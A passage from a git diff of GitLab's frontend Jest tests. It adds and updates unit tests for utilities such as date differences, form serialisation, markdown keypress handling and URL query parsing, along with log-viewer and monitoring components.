+
+ function mockFetchCall(status) {
+ const p = {
+ ok: status >= 200 && status < 300,
+ status,
+ headers: new Headers({ 'Content-Type': 'application/json' }),
+ statusText: `MOCK-FETCH ${status}`,
+ clone: () => p,
+ json: () => Promise.resolve(STARTUP_JS_RESPONSE),
+ };
+ return Promise.resolve(p);
+ }
+
+ function mockConsoleWarn() {
+ jest.spyOn(console, 'warn').mockImplementation();
+ }
+
+ function expectConsoleWarn(path) {
+ // eslint-disable-next-line no-console
+ expect(console.warn).toHaveBeenCalledWith(expect.stringMatching(path), expect.any(Error));
+ }
+
+ beforeEach(() => {
+ window.gl = {};
+ mock = new MockAdapter(axios);
+ mock.onGet('/non-startup').reply(200, AXIOS_RESPONSE);
+ mock.onGet('/startup').reply(200, AXIOS_RESPONSE);
+ mock.onGet('/startup-failing').reply(200, AXIOS_RESPONSE);
+ });
+
+ afterEach(() => {
+ delete window.gl;
+ axios.interceptors.request.handlers = [];
+ mock.restore();
+ });
+
+ it('if no startupCalls are registered: does not register a request interceptor', () => {
+ setupAxiosStartupCalls(axios);
+
+ expect(axios.interceptors.request.handlers.length).toBe(0);
+ });
+
+ describe('if startupCalls are registered', () => {
+ beforeEach(() => {
+ window.gl.startup_calls = {
+ '/startup': {
+ fetchCall: mockFetchCall(200),
+ },
+ '/startup-failing': {
+ fetchCall: mockFetchCall(400),
+ },
+ };
+ setupAxiosStartupCalls(axios);
+ });
+
+ it('registers a request interceptor', () => {
+ expect(axios.interceptors.request.handlers.length).toBe(1);
+ });
+
+ it('detaches the request interceptor if every startup call has been made', async () => {
+ expect(axios.interceptors.request.handlers[0]).not.toBeNull();
+
+ await axios.get('/startup');
+ mockConsoleWarn();
+ await axios.get('/startup-failing');
+
+ // Axios sets the interceptor to null
+ expect(axios.interceptors.request.handlers[0]).toBeNull();
+ });
+
+ it('delegates to startup calls if URL is registered and call is successful', async () => {
+ const { headers, data, status, statusText } = await axios.get('/startup');
+
+ expect(headers).toEqual({ 'content-type': 'application/json' });
+ expect(status).toBe(200);
+ expect(statusText).toBe('MOCK-FETCH 200');
+ expect(data).toEqual(STARTUP_JS_RESPONSE);
+ expect(data).not.toEqual(AXIOS_RESPONSE);
+ });
+
+ it('delegates to startup calls exactly once', async () => {
+ await axios.get('/startup');
+ const { data } = await axios.get('/startup');
+
+ expect(data).not.toEqual(STARTUP_JS_RESPONSE);
+ expect(data).toEqual(AXIOS_RESPONSE);
+ });
+
+ it('does not delegate to startup calls if the call is failing', async () => {
+ mockConsoleWarn();
+ const { data } = await axios.get('/startup-failing');
+
+ expect(data).not.toEqual(STARTUP_JS_RESPONSE);
+ expect(data).toEqual(AXIOS_RESPONSE);
+ expectConsoleWarn('/startup-failing');
+ });
+
+ it('does not delegate to startup call if URL is not registered', async () => {
+ const { data } = await axios.get('/non-startup');
+
+ expect(data).toEqual(AXIOS_RESPONSE);
+ expect(data).not.toEqual(STARTUP_JS_RESPONSE);
+ });
+ });
+
+ it('removes GitLab Base URL from startup call', async () => {
+ const oldGon = window.gon;
+ window.gon = { gitlab_url: 'https://example.org/gitlab' };
+
+ window.gl.startup_calls = {
+ '/startup': {
+ fetchCall: mockFetchCall(200),
+ },
+ };
+ setupAxiosStartupCalls(axios);
+
+ const { data } = await axios.get('https://example.org/gitlab/startup');
+
+ expect(data).toEqual(STARTUP_JS_RESPONSE);
+
+ window.gon = oldGon;
+ });
+});
diff --git a/spec/frontend/lib/utils/datetime_utility_spec.js b/spec/frontend/lib/utils/datetime_utility_spec.js
index 9eb5587e83c..5b1fdea058b 100644
--- a/spec/frontend/lib/utils/datetime_utility_spec.js
+++ b/spec/frontend/lib/utils/datetime_utility_spec.js
@@ -653,3 +653,17 @@ describe('differenceInSeconds', () => {
expect(datetimeUtility.differenceInSeconds(startDate, endDate)).toBe(expected);
});
});
+
+describe('differenceInMilliseconds', () => {
+ const startDateTime = new Date('2019-07-17T00:00:00.000Z');
+
+ it.each`
+ startDate | endDate | expected
+ ${startDateTime.getTime()} | ${new Date('2019-07-17T00:00:00.000Z')} | ${0}
+ ${startDateTime} | ${new Date('2019-07-17T12:00:00.000Z').getTime()} | ${43200000}
+ ${startDateTime} | ${new Date('2019-07-18T00:00:00.000Z').getTime()} | ${86400000}
+ ${new Date('2019-07-18T00:00:00.000Z')} | ${startDateTime.getTime()} | ${-86400000}
+ `('returns $expected for $endDate - $startDate', ({ startDate, endDate, expected }) => {
+ expect(datetimeUtility.differenceInMilliseconds(startDate, endDate)).toBe(expected);
+ });
+});
diff --git a/spec/frontend/lib/utils/forms_spec.js b/spec/frontend/lib/utils/forms_spec.js
index 07ba7c29dfc..a69be99ab98 100644
--- a/spec/frontend/lib/utils/forms_spec.js
+++ b/spec/frontend/lib/utils/forms_spec.js
@@ -1,4 +1,4 @@
-import { serializeForm } from '~/lib/utils/forms';
+import { serializeForm, serializeFormObject, isEmptyValue } from '~/lib/utils/forms';
describe('lib/utils/forms', () => {
const createDummyForm = inputs => {
@@ -93,4 +93,46 @@ describe('lib/utils/forms', () => {
});
});
});
+
+ describe('isEmptyValue', () => {
+ it.each`
+ input | returnValue
+ ${''} | ${true}
+ ${[]} | ${true}
+ ${null} | ${true}
+ ${undefined} | ${true}
+ ${'hello'} | ${false}
+ ${' '} | ${false}
+ ${0} | ${false}
+ `('returns $returnValue for value $input', ({ input, returnValue }) => {
+ expect(isEmptyValue(input)).toBe(returnValue);
+ });
+ });
+
+ describe('serializeFormObject', () => {
+ it('returns an serialized object', () => {
+ const form = {
+ profileName: { value: 'hello', state: null, feedback: null },
+ spiderTimeout: { value: 2, state: true, feedback: null },
+ targetTimeout: { value: 12, state: true, feedback: null },
+ };
+ expect(serializeFormObject(form)).toEqual({
+ profileName: 'hello',
+ spiderTimeout: 2,
+ targetTimeout: 12,
+ });
+ });
+
+ it('returns only the entries with value', () => {
+ const form = {
+ profileName: { value: '', state: null, feedback: null },
+ spiderTimeout: { value: 0, state: null, feedback: null },
+ targetTimeout: { value: null, state: null, feedback: null },
+ name: { value: undefined, state: null, feedback: null },
+ };
+ expect(serializeFormObject(form)).toEqual({
+ spiderTimeout: 0,
+ });
+ });
+ });
});
diff --git a/spec/frontend/lib/utils/text_markdown_spec.js b/spec/frontend/lib/utils/text_markdown_spec.js
index 2e52958a828..1aaae80dcdf 100644
--- a/spec/frontend/lib/utils/text_markdown_spec.js
+++ b/spec/frontend/lib/utils/text_markdown_spec.js
@@ -1,4 +1,4 @@
-import { insertMarkdownText } from '~/lib/utils/text_markdown';
+import { insertMarkdownText, keypressNoteText } from '~/lib/utils/text_markdown';
describe('init markdown', () => {
let textArea;
@@ -115,14 +115,15 @@ describe('init markdown', () => {
describe('with selection', () => {
const text = 'initial selected value';
const selected = 'selected';
+ let selectedIndex;
+
beforeEach(() => {
textArea.value = text;
- const selectedIndex = text.indexOf(selected);
+ selectedIndex = text.indexOf(selected);
textArea.setSelectionRange(selectedIndex, selectedIndex + selected.length);
});
it('applies the tag to the selected value', () => {
- const selectedIndex = text.indexOf(selected);
const tag = '*';
insertMarkdownText({
@@ -153,6 +154,29 @@ describe('init markdown', () => {
expect(textArea.value).toEqual(text.replace(selected, `[${selected}](url)`));
});
+ it.each`
+ key | expected
+ ${'['} | ${`[${selected}]`}
+ ${'*'} | ${`**${selected}**`}
+ ${"'"} | ${`'${selected}'`}
+ ${'_'} | ${`_${selected}_`}
+ ${'`'} | ${`\`${selected}\``}
+ ${'"'} | ${`"${selected}"`}
+ ${'{'} | ${`{${selected}}`}
+ ${'('} | ${`(${selected})`}
+ ${'<'} | ${`<${selected}>`}
+ `('generates $expected when $key is pressed', ({ key, expected }) => {
+ const event = new KeyboardEvent('keydown', { key });
+
+ textArea.addEventListener('keydown', keypressNoteText);
+ textArea.dispatchEvent(event);
+
+ expect(textArea.value).toEqual(text.replace(selected, expected));
+
+ // cursor placement should be after selection + 2 tag lengths
+ expect(textArea.selectionStart).toBe(selectedIndex + expected.length);
+ });
+
describe('and text to be selected', () => {
const tag = '[{text}](url)';
const select = 'url';
@@ -178,7 +202,7 @@ describe('init markdown', () => {
it('selects the right text when multiple tags are present', () => {
const initialValue = `${tag} ${tag} ${selected}`;
textArea.value = initialValue;
- const selectedIndex = initialValue.indexOf(selected);
+ selectedIndex = initialValue.indexOf(selected);
textArea.setSelectionRange(selectedIndex, selectedIndex + selected.length);
insertMarkdownText({
textArea,
@@ -204,7 +228,7 @@ describe('init markdown', () => {
const initialValue = `text ${expectedUrl} text`;
textArea.value = initialValue;
- const selectedIndex = initialValue.indexOf(expectedUrl);
+ selectedIndex = initialValue.indexOf(expectedUrl);
textArea.setSelectionRange(selectedIndex, selectedIndex + expectedUrl.length);
insertMarkdownText({
diff --git a/spec/frontend/lib/utils/text_utility_spec.js b/spec/frontend/lib/utils/text_utility_spec.js
index 285f7d04c3b..6fef5f6b63c 100644
--- a/spec/frontend/lib/utils/text_utility_spec.js
+++ b/spec/frontend/lib/utils/text_utility_spec.js
@@ -205,6 +205,27 @@ describe('text_utility', () => {
});
});
+ describe('convertUnicodeToAscii', () => {
+ it('does nothing on an empty string', () => {
+ expect(textUtils.convertUnicodeToAscii('')).toBe('');
+ });
+
+ it('does nothing on an already ascii string', () => {
+ expect(textUtils.convertUnicodeToAscii('The quick brown fox jumps over the lazy dog.')).toBe(
+ 'The quick brown fox jumps over the lazy dog.',
+ );
+ });
+
+ it('replaces Unicode characters', () => {
+ expect(textUtils.convertUnicodeToAscii('Dĭd söméònê äšk fœŕ Ůnĭċődę?')).toBe(
+ 'Did soemeone aesk foer Unicode?',
+ );
+
+ expect(textUtils.convertUnicodeToAscii("Jürgen's Projekt")).toBe("Juergen's Projekt");
+ expect(textUtils.convertUnicodeToAscii('öäüÖÄÜ')).toBe('oeaeueOeAeUe');
+ });
+ });
+
describe('splitCamelCase', () => {
it('separates a PascalCase word to two', () => {
expect(textUtils.splitCamelCase('HelloWorld')).toBe('Hello World');
diff --git a/spec/frontend/lib/utils/url_utility_spec.js b/spec/frontend/lib/utils/url_utility_spec.js
index a13ac3778cf..869ae274a3f 100644
--- a/spec/frontend/lib/utils/url_utility_spec.js
+++ b/spec/frontend/lib/utils/url_utility_spec.js
@@ -161,6 +161,15 @@ describe('URL utility', () => {
);
});
+ it('sorts params in alphabetical order with sort option', () => {
+ expect(mergeUrlParams({ c: 'c', b: 'b', a: 'a' }, 'https://host/path', { sort: true })).toBe(
+ 'https://host/path?a=a&b=b&c=c',
+ );
+ expect(
+ mergeUrlParams({ alpha: 'alpha' }, 'https://host/path?op=/&foo=bar', { sort: true }),
+ ).toBe('https://host/path?alpha=alpha&foo=bar&op=%2F');
+ });
+
describe('with spread array option', () => {
const spreadArrayOptions = { spreadArrays: true };
@@ -616,6 +625,35 @@ describe('URL utility', () => {
expect(urlUtils.queryToObject(searchQuery)).toEqual({ one: '1', two: '2' });
});
+
+ describe('with gatherArrays=false', () => {
+ it('overwrites values with the same array-key and does not change the key', () => {
+ const searchQuery = '?one[]=1&one[]=2&two=2&two=3';
+
+ expect(urlUtils.queryToObject(searchQuery)).toEqual({ 'one[]': '2', two: '3' });
+ });
+ });
+
+ describe('with gatherArrays=true', () => {
+ const options = { gatherArrays: true };
+ it('gathers only values with the same array-key and strips `[]` from the key', () => {
+ const searchQuery = '?one[]=1&one[]=2&two=2&two=3';
+
+ expect(urlUtils.queryToObject(searchQuery, options)).toEqual({ one: ['1', '2'], two: '3' });
+ });
+
+ it('overwrites values with the same array-key name', () => {
+ const searchQuery = '?one=1&one[]=2&two=2&two=3';
+
+ expect(urlUtils.queryToObject(searchQuery, options)).toEqual({ one: ['2'], two: '3' });
+ });
+
+ it('overwrites values with the same key name', () => {
+ const searchQuery = '?one[]=1&one=2&two=2&two=3';
+
+ expect(urlUtils.queryToObject(searchQuery, options)).toEqual({ one: '2', two: '3' });
+ });
+ });
});
describe('objectToQuery', () => {
diff --git a/spec/frontend/logs/components/environment_logs_spec.js b/spec/frontend/logs/components/environment_logs_spec.js
index 6421aca684f..559ce4f9414 100644
--- a/spec/frontend/logs/components/environment_logs_spec.js
+++ b/spec/frontend/logs/components/environment_logs_spec.js
@@ -39,13 +39,22 @@ describe('EnvironmentLogs', () => {
};
const updateControlBtnsMock = jest.fn();
+ const LogControlButtonsStub = {
+ template: '<div/>',
+ methods: {
+ update: updateControlBtnsMock,
+ },
+ props: {
+ scrollDownButtonDisabled: false,
+ },
+ };
const findEnvironmentsDropdown = () => wrapper.find('.js-environments-dropdown');
const findSimpleFilters = () => wrapper.find({ ref: 'log-simple-filters' });
const findAdvancedFilters = () => wrapper.find({ ref: 'log-advanced-filters' });
const findElasticsearchNotice = () => wrapper.find({ ref: 'elasticsearchNotice' });
- const findLogControlButtons = () => wrapper.find({ name: 'log-control-buttons-stub' });
+ const findLogControlButtons = () => wrapper.find(LogControlButtonsStub);
const findInfiniteScroll = () => wrapper.find({ ref: 'infiniteScroll' });
const findLogTrace = () => wrapper.find({ ref: 'logTrace' });
@@ -76,16 +85,7 @@ describe('EnvironmentLogs', () => {
propsData,
store,
stubs: {
- LogControlButtons: {
- name: 'log-control-buttons-stub',
- template: '<div/>',
- methods: {
- update: updateControlBtnsMock,
- },
- props: {
- scrollDownButtonDisabled: false,
- },
- },
+ LogControlButtons: LogControlButtonsStub,
GlInfiniteScroll: {
name: 'gl-infinite-scroll',
template: `
@@ -121,9 +121,6 @@ describe('EnvironmentLogs', () => {
it('displays UI elements', () => {
initWrapper();
- expect(wrapper.isVueInstance()).toBe(true);
- expect(wrapper.isEmpty()).toBe(false);
-
expect(findEnvironmentsDropdown().is(GlDeprecatedDropdown)).toBe(true);
expect(findSimpleFilters().exists()).toBe(true);
expect(findLogControlButtons().exists()).toBe(true);
diff --git a/spec/frontend/logs/components/log_advanced_filters_spec.js b/spec/frontend/logs/components/log_advanced_filters_spec.js
index 007c5000e16..3a3c23c95b8 100644
--- a/spec/frontend/logs/components/log_advanced_filters_spec.js
+++ b/spec/frontend/logs/components/log_advanced_filters_spec.js
@@ -68,9 +68,6 @@ describe('LogAdvancedFilters', () => {
it('displays UI elements', () => {
initWrapper();
- expect(wrapper.isVueInstance()).toBe(true);
- expect(wrapper.isEmpty()).toBe(false);
-
expect(findFilteredSearch().exists()).toBe(true);
expect(findTimeRangePicker().exists()).toBe(true);
});
diff --git a/spec/frontend/logs/components/log_control_buttons_spec.js b/spec/frontend/logs/components/log_control_buttons_spec.js
index 38e568f569f..dff38ecb15e 100644
--- a/spec/frontend/logs/components/log_control_buttons_spec.js
+++ b/spec/frontend/logs/components/log_control_buttons_spec.js
@@ -28,9 +28,6 @@ describe('LogControlButtons', () => {
it('displays UI elements', () => {
initWrapper();
- expect(wrapper.isVueInstance()).toBe(true);
- expect(wrapper.isEmpty()).toBe(false);
-
expect(findScrollToTop().is(GlButton)).toBe(true);
expect(findScrollToBottom().is(GlButton)).toBe(true);
expect(findRefreshBtn().is(GlButton)).toBe(true);
@@ -57,7 +54,7 @@ describe('LogControlButtons', () => {
});
it('click on "scroll to top" scrolls up', () => {
- expect(findScrollToTop().is('[disabled]')).toBe(false);
+ expect(findScrollToTop().attributes('disabled')).toBeUndefined();
findScrollToTop().vm.$emit('click');
@@ -65,7 +62,7 @@ describe('LogControlButtons', () => {
});
it('click on "scroll to bottom" scrolls down', () => {
- expect(findScrollToBottom().is('[disabled]')).toBe(false);
+ expect(findScrollToBottom().attributes('disabled')).toBeUndefined();
findScrollToBottom().vm.$emit('click');
diff --git a/spec/frontend/logs/components/log_simple_filters_spec.js b/spec/frontend/logs/components/log_simple_filters_spec.js
index e739621431e..1e30a7df559 100644
--- a/spec/frontend/logs/components/log_simple_filters_spec.js
+++ b/spec/frontend/logs/components/log_simple_filters_spec.js
@@ -18,7 +18,7 @@ describe('LogSimpleFilters', () => {
const findPodsDropdownItems = () =>
findPodsDropdown()
.findAll(GlDeprecatedDropdownItem)
- .filter(item => !item.is('[disabled]'));
+ .filter(item => !('disabled' in item.attributes()));
const mockPodsLoading = () => {
state.pods.options = [];
@@ -59,9 +59,6 @@ describe('LogSimpleFilters', () => {
it('displays UI elements', () => {
initWrapper();
- expect(wrapper.isVueInstance()).toBe(true);
- expect(wrapper.isEmpty()).toBe(false);
-
expect(findPodsDropdown().exists()).toBe(true);
});
diff --git a/spec/frontend/logs/mock_data.js b/spec/frontend/logs/mock_data.js
index f4c567a2ea3..3fabab4bc59 100644
--- a/spec/frontend/logs/mock_data.js
+++ b/spec/frontend/logs/mock_data.js
@@ -35,6 +35,7 @@ export const mockManagedApps = [
status: 'connected',
path: '/root/autodevops-deploy/-/clusters/15',
gitlab_managed_apps_logs_path: '/root/autodevops-deploy/-/logs?cluster_id=15',
+ enable_advanced_logs_querying: true,
},
{
cluster_type: 'project_type',
@@ -45,6 +46,7 @@ export const mockManagedApps = [
status: 'connected',
path: '/root/autodevops-deploy/-/clusters/16',
gitlab_managed_apps_logs_path: null,
+ enable_advanced_logs_querying: false,
},
];
diff --git a/spec/frontend/logs/stores/getters_spec.js b/spec/frontend/logs/stores/getters_spec.js
index 9d213d8c01f..bca1ce4ca92 100644
--- a/spec/frontend/logs/stores/getters_spec.js
+++ b/spec/frontend/logs/stores/getters_spec.js
@@ -1,7 +1,14 @@
import { trace, showAdvancedFilters } from '~/logs/stores/getters';
import logsPageState from '~/logs/stores/state';
-import { mockLogsResult, mockTrace, mockEnvName, mockEnvironments } from '../mock_data';
+import {
+ mockLogsResult,
+ mockTrace,
+ mockEnvName,
+ mockEnvironments,
+ mockManagedApps,
+ mockManagedAppName,
+} from '../mock_data';
describe('Logs Store getters', () => {
let state;
@@ -72,4 +79,43 @@ describe('Logs Store getters', () => {
});
});
});
+
+ describe('when no managedApps are set', () => {
+ beforeEach(() => {
+ state.environments.current = null;
+ state.environments.options = [];
+ state.managedApps.current = mockManagedAppName;
+ state.managedApps.options = [];
+ });
+
+ it('returns false', () => {
+ expect(showAdvancedFilters(state)).toBe(false);
+ });
+ });
+
+ describe('when the managedApp supports filters', () => {
+ beforeEach(() => {
+ state.environments.current = null;
+ state.environments.options = mockEnvironments;
+ state.managedApps.current = mockManagedAppName;
+ state.managedApps.options = mockManagedApps;
+ });
+
+ it('returns true', () => {
+ expect(showAdvancedFilters(state)).toBe(true);
+ });
+ });
+
+ describe('when the managedApp does not support filters', () => {
+ beforeEach(() => {
+ state.environments.current = null;
+ state.environments.options = mockEnvironments;
+ state.managedApps.options = mockManagedApps;
+ state.managedApps.current = mockManagedApps[1].name;
+ });
+
+ it('returns false', () => {
+ expect(showAdvancedFilters(state)).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/matchers.js b/spec/frontend/matchers.js
index 53c6a72eea0..50feba86a61 100644
--- a/spec/frontend/matchers.js
+++ b/spec/frontend/matchers.js
@@ -9,8 +9,8 @@ export default {
}
const iconReferences = [].slice.apply(element.querySelectorAll('svg use'));
- const matchingIcon = iconReferences.find(reference =>
- reference.getAttribute('xlink:href').endsWith(`#${iconName}`),
+ const matchingIcon = iconReferences.find(
+ reference => reference.parentNode.getAttribute('data-testid') === `${iconName}-icon`,
);
const pass = Boolean(matchingIcon);
@@ -22,7 +22,7 @@ export default {
message = `${element.outerHTML} does not contain the sprite icon "${iconName}"!`;
const existingIcons = iconReferences.map(reference => {
- const iconUrl = reference.getAttribute('xlink:href');
+ const iconUrl = reference.getAttribute('href');
return `"${iconUrl.replace(/^.+#/, '')}"`;
});
if (existingIcons.length > 0) {
diff --git a/spec/frontend/milestones/project_milestone_combobox_spec.js b/spec/frontend/milestones/project_milestone_combobox_spec.js
index 2265c9bdc2e..60d68aa5816 100644
--- a/spec/frontend/milestones/project_milestone_combobox_spec.js
+++ b/spec/frontend/milestones/project_milestone_combobox_spec.js
@@ -1,11 +1,13 @@
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import { shallowMount } from '@vue/test-utils';
-import { GlNewDropdown, GlLoadingIcon, GlSearchBoxByType } from '@gitlab/ui';
+import { GlDropdown, GlLoadingIcon, GlSearchBoxByType } from '@gitlab/ui';
+import { ENTER_KEY } from '~/lib/utils/keys';
import MilestoneCombobox from '~/milestones/project_milestone_combobox.vue';
import { milestones as projectMilestones } from './mock_data';
const TEST_SEARCH_ENDPOINT = '/api/v4/projects/8/search';
+const TEST_SEARCH = 'TEST_SEARCH';
const extraLinks = [
{ text: 'Create new', url: 'http://127.0.0.1:3000/h5bp/html5-boilerplate/-/milestones/new' },
@@ -21,6 +23,8 @@ describe('Milestone selector', () => {
const findNoResultsMessage = () => wrapper.find({ ref: 'noResults' });
+ const findSearchBox = () => wrapper.find(GlSearchBoxByType);
+
const factory = (options = {}) => {
wrapper = shallowMount(MilestoneCombobox, {
...options,
@@ -49,7 +53,7 @@ describe('Milestone selector', () => {
});
it('renders the dropdown', () => {
- expect(wrapper.find(GlNewDropdown)).toExist();
+ expect(wrapper.find(GlDropdown)).toExist();
});
it('renders additional links', () => {
@@ -63,7 +67,7 @@ describe('Milestone selector', () => {
describe('before results', () => {
it('should show a loading icon', () => {
const request = mock.onGet(TEST_SEARCH_ENDPOINT, {
- params: { search: 'TEST_SEARCH', scope: 'milestones' },
+ params: { search: TEST_SEARCH, scope: 'milestones' },
});
expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
@@ -85,9 +89,9 @@ describe('Milestone selector', () => {
describe('with empty results', () => {
beforeEach(() => {
mock
- .onGet(TEST_SEARCH_ENDPOINT, { params: { search: 'TEST_SEARCH', scope: 'milestones' } })
+ .onGet(TEST_SEARCH_ENDPOINT, { params: { search: TEST_SEARCH, scope: 'milestones' } })
.reply(200, []);
- wrapper.find(GlSearchBoxByType).vm.$emit('input', 'TEST_SEARCH');
+ findSearchBox().vm.$emit('input', TEST_SEARCH);
return axios.waitForAll();
});
@@ -116,7 +120,7 @@ describe('Milestone selector', () => {
web_url: 'http://127.0.0.1:3000/h5bp/html5-boilerplate/-/milestones/6',
},
]);
- wrapper.find(GlSearchBoxByType).vm.$emit('input', 'v0.1');
+ findSearchBox().vm.$emit('input', 'v0.1');
return axios.waitForAll().then(() => {
items = wrapper.findAll('[role="milestone option"]');
});
@@ -147,4 +151,36 @@ describe('Milestone selector', () => {
expect(findNoResultsMessage().exists()).toBe(false);
});
});
+
+ describe('when Enter is pressed', () => {
+ beforeEach(() => {
+ factory({
+ propsData: {
+ projectId,
+ preselectedMilestones,
+ extraLinks,
+ },
+ data() {
+ return {
+ searchQuery: 'TEST_SEARCH',
+ };
+ },
+ });
+
+ mock
+ .onGet(TEST_SEARCH_ENDPOINT, { params: { search: 'TEST_SEARCH', scope: 'milestones' } })
+ .reply(200, []);
+ });
+
+ it('should trigger a search', async () => {
+ mock.resetHistory();
+
+ findSearchBox().vm.$emit('keydown', new KeyboardEvent({ key: ENTER_KEY }));
+
+ await axios.waitForAll();
+
+ expect(mock.history.get.length).toBe(1);
+ expect(mock.history.get[0].url).toBe(TEST_SEARCH_ENDPOINT);
+ });
+ });
});
diff --git a/spec/frontend/mocks/mocks_helper.js b/spec/frontend/mocks/mocks_helper.js
index 823ab41a5ba..0aa80331434 100644
--- a/spec/frontend/mocks/mocks_helper.js
+++ b/spec/frontend/mocks/mocks_helper.js
@@ -29,7 +29,6 @@ const getMockFiles = root => readdir.sync(root, { deep: MAX_DEPTH, filter: mockF
const defaultSetMock = (srcPath, mockPath) =>
jest.mock(srcPath, () => jest.requireActual(mockPath));
-// eslint-disable-next-line import/prefer-default-export
export const setupManualMocks = function setupManualMocks(setMock = defaultSetMock) {
prefixMap.forEach(({ mocksRoot, requirePrefix }) => {
const mocksRootAbsolute = path.join(__dirname, mocksRoot);
diff --git a/spec/frontend/monitoring/__snapshots__/alert_widget_spec.js.snap b/spec/frontend/monitoring/__snapshots__/alert_widget_spec.js.snap
index 59c17daacff..2a8ce1d3f30 100644
--- a/spec/frontend/monitoring/__snapshots__/alert_widget_spec.js.snap
+++ b/spec/frontend/monitoring/__snapshots__/alert_widget_spec.js.snap
@@ -13,7 +13,7 @@ exports[`AlertWidget Alert firing displays a warning icon and matches snapshot 1
/>
<span
- class="text-truncate gl-pl-1-deprecated-no-really-do-not-use-me"
+ class="text-truncate gl-pl-2"
>
Firing:
alert-label &gt; 42
@@ -35,7 +35,7 @@ exports[`AlertWidget Alert not firing displays a warning icon and matches snapsh
/>
<span
- class="text-truncate gl-pl-1-deprecated-no-really-do-not-use-me"
+ class="text-truncate gl-pl-2"
>
alert-label &gt; 42
</span>
diff --git a/spec/frontend/monitoring/alert_widget_spec.js b/spec/frontend/monitoring/alert_widget_spec.js
index 193dbb3e63f..d004b1da0b6 100644
--- a/spec/frontend/monitoring/alert_widget_spec.js
+++ b/spec/frontend/monitoring/alert_widget_spec.js
@@ -84,7 +84,7 @@ describe('AlertWidget', () => {
},
});
};
- const hasLoadingIcon = () => wrapper.contains(GlLoadingIcon);
+ const hasLoadingIcon = () => wrapper.find(GlLoadingIcon).exists();
const findWidgetForm = () => wrapper.find({ ref: 'widgetForm' });
const findAlertErrorMessage = () => wrapper.find({ ref: 'alertErrorMessage' });
const findCurrentSettingsText = () =>
diff --git a/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap b/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap
index 7ef956f8e05..a28ecac00fd 100644
--- a/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap
+++ b/spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap
@@ -32,7 +32,7 @@ exports[`Dashboard template matches the default snapshot 1`] = `
<div
class="mb-2 pr-2 d-flex d-sm-block"
>
- <gl-new-dropdown-stub
+ <gl-dropdown-stub
category="tertiary"
class="flex-grow-1"
data-qa-selector="environments_dropdown"
@@ -47,12 +47,12 @@ exports[`Dashboard template matches the default snapshot 1`] = `
<div
class="d-flex flex-column overflow-hidden"
>
- <gl-new-dropdown-header-stub>
+ <gl-dropdown-section-header-stub>
Environment
- </gl-new-dropdown-header-stub>
+ </gl-dropdown-section-header-stub>
<gl-search-box-by-type-stub
- class="m-2"
+ class="gl-m-3"
clearbuttontitle="Clear"
value=""
/>
@@ -69,7 +69,7 @@ exports[`Dashboard template matches the default snapshot 1`] = `
</div>
</div>
- </gl-new-dropdown-stub>
+ </gl-dropdown-stub>
</div>
<div
diff --git a/spec/frontend/monitoring/components/charts/anomaly_spec.js b/spec/frontend/monitoring/components/charts/anomaly_spec.js
index 15a52d03bcd..ebb49a2a0aa 100644
--- a/spec/frontend/monitoring/components/charts/anomaly_spec.js
+++ b/spec/frontend/monitoring/components/charts/anomaly_spec.js
@@ -46,9 +46,8 @@ describe('Anomaly chart component', () => {
});
});
- it('is a Vue instance', () => {
+ it('renders correctly', () => {
expect(findTimeSeries().exists()).toBe(true);
- expect(findTimeSeries().isVueInstance()).toBe(true);
});
describe('receives props correctly', () => {
diff --git a/spec/frontend/monitoring/components/charts/bar_spec.js b/spec/frontend/monitoring/components/charts/bar_spec.js
index e39e6e7e2c2..a363fafdc31 100644
--- a/spec/frontend/monitoring/components/charts/bar_spec.js
+++ b/spec/frontend/monitoring/components/charts/bar_spec.js
@@ -1,7 +1,7 @@
import { shallowMount } from '@vue/test-utils';
import { GlBarChart } from '@gitlab/ui/dist/charts';
import Bar from '~/monitoring/components/charts/bar.vue';
-import { barMockData } from '../../mock_data';
+import { barGraphData } from '../../graph_data';
jest.mock('~/lib/utils/icon_utils', () => ({
getSvgIconPathContent: jest.fn().mockResolvedValue('mockSvgPathContent'),
@@ -10,11 +10,14 @@ jest.mock('~/lib/utils/icon_utils', () => ({
describe('Bar component', () => {
let barChart;
let store;
+ let graphData;
beforeEach(() => {
+ graphData = barGraphData();
+
barChart = shallowMount(Bar, {
propsData: {
- graphData: barMockData,
+ graphData,
},
store,
});
@@ -31,15 +34,11 @@ describe('Bar component', () => {
beforeEach(() => {
glbarChart = barChart.find(GlBarChart);
- chartData = barChart.vm.chartData[barMockData.metrics[0].label];
- });
-
- it('is a Vue instance', () => {
- expect(glbarChart.isVueInstance()).toBe(true);
+ chartData = barChart.vm.chartData[graphData.metrics[0].label];
});
it('should display a label on the x axis', () => {
- expect(glbarChart.vm.xAxisTitle).toBe(barMockData.xLabel);
+ expect(glbarChart.props('xAxisTitle')).toBe(graphData.xLabel);
});
it('should return chartData as array of arrays', () => {
diff --git a/spec/frontend/monitoring/components/charts/column_spec.js b/spec/frontend/monitoring/components/charts/column_spec.js
index a2056d96dcf..16e2080c000 100644
--- a/spec/frontend/monitoring/components/charts/column_spec.js
+++ b/spec/frontend/monitoring/components/charts/column_spec.js
@@ -95,10 +95,6 @@ describe('Column component', () => {
describe('wrapped components', () => {
describe('GitLab UI column chart', () => {
- it('is a Vue instance', () => {
- expect(findChart().isVueInstance()).toBe(true);
- });
-
it('receives data properties needed for proper chart render', () => {
expect(chartProps('data').values).toEqual(dataValues);
});
diff --git a/spec/frontend/monitoring/components/charts/heatmap_spec.js b/spec/frontend/monitoring/components/charts/heatmap_spec.js
index 27a2021e9be..c8375810a7b 100644
--- a/spec/frontend/monitoring/components/charts/heatmap_spec.js
+++ b/spec/frontend/monitoring/components/charts/heatmap_spec.js
@@ -24,21 +24,14 @@ describe('Heatmap component', () => {
};
describe('wrapped chart', () => {
- let glHeatmapChart;
-
beforeEach(() => {
createWrapper();
- glHeatmapChart = findChart();
});
afterEach(() => {
wrapper.destroy();
});
- it('is a Vue instance', () => {
- expect(glHeatmapChart.isVueInstance()).toBe(true);
- });
-
it('should display a label on the x axis', () => {
expect(wrapper.vm.xAxisName).toBe(graphData.xLabel);
});
diff --git a/spec/frontend/monitoring/components/charts/stacked_column_spec.js b/spec/frontend/monitoring/components/charts/stacked_column_spec.js
